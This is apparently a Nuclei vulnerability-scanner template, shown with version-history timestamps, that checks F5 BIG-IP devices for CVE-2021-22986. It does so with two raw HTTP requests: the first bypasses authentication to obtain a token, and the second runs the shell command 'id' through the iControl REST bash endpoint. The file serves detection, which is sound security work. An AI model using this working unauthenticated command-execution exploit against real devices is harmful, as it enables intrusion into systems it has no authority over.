2021-03-21 16:05:23 +00:00
|
|
|
id: CVE-2021-22986
|
2022-04-15 16:39:44 +00:00
|
|
|
|
2021-03-21 16:05:23 +00:00
|
|
|
info:
|
2022-05-09 16:12:52 +00:00
|
|
|
name: F5 BIG-IP iControl REST - Remote Command Execution
|
2021-06-09 12:20:56 +00:00
|
|
|
author: rootxharsh,iamnoooob
|
2021-03-21 16:05:23 +00:00
|
|
|
severity: critical
|
2022-05-09 16:12:52 +00:00
|
|
|
description: F5 BIG-IP iControl REST interface is susceptible to an unauthenticated remote command execution vulnerability.
|
2021-08-19 13:17:27 +00:00
|
|
|
reference:
|
|
|
|
- https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986
|
|
|
|
- https://support.f5.com/csp/article/K03009991
|
2022-04-15 16:39:44 +00:00
|
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22986
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 9.8
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2021-22986
|
2022-07-21 17:18:22 +00:00
|
|
|
tags: bigip,cve,cve2021,rce,mirai,kev
|
2021-03-22 12:51:42 +00:00
|
|
|
|
2021-03-21 16:05:23 +00:00
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /mgmt/shared/authn/login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept-Language: en
|
|
|
|
Authorization: Basic YWRtaW46
|
|
|
|
Content-Type: application/json
|
|
|
|
Cookie: BIGIPAuthCookie=1234
|
2022-05-06 10:25:50 +00:00
|
|
|
|
2021-03-21 16:05:23 +00:00
|
|
|
{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
|
|
|
|
- |
|
|
|
|
POST /mgmt/tm/util/bash HTTP/1.1
|
2021-03-21 16:18:27 +00:00
|
|
|
Host: {{Hostname}}
|
2021-03-21 16:05:23 +00:00
|
|
|
Accept-Language: en
|
2022-04-15 16:39:44 +00:00
|
|
|
X-F5-Auth-Token: {{token}}
|
2021-03-21 16:05:23 +00:00
|
|
|
Content-Type: application/json
|
2022-05-06 10:25:50 +00:00
|
|
|
|
2021-03-21 16:05:23 +00:00
|
|
|
{"command":"run","utilCmdArgs":"-c id"}
|
2022-05-06 10:25:50 +00:00
|
|
|
|
2021-03-21 16:05:23 +00:00
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
part: body
|
|
|
|
internal: true
|
|
|
|
name: token
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- "([A-Z0-9]{26})"
|
2022-05-06 10:25:50 +00:00
|
|
|
|
2021-03-21 16:05:23 +00:00
|
|
|
- type: regex
|
|
|
|
part: body
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- "\"commandResult\":\"(.*)\""
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "commandResult"
|
|
|
|
- "uid="
|
|
|
|
condition: and
|
2022-04-15 16:39:44 +00:00
|
|
|
|
2022-05-09 16:12:52 +00:00
|
|
|
# Enhanced by mp on 2022/05/05
|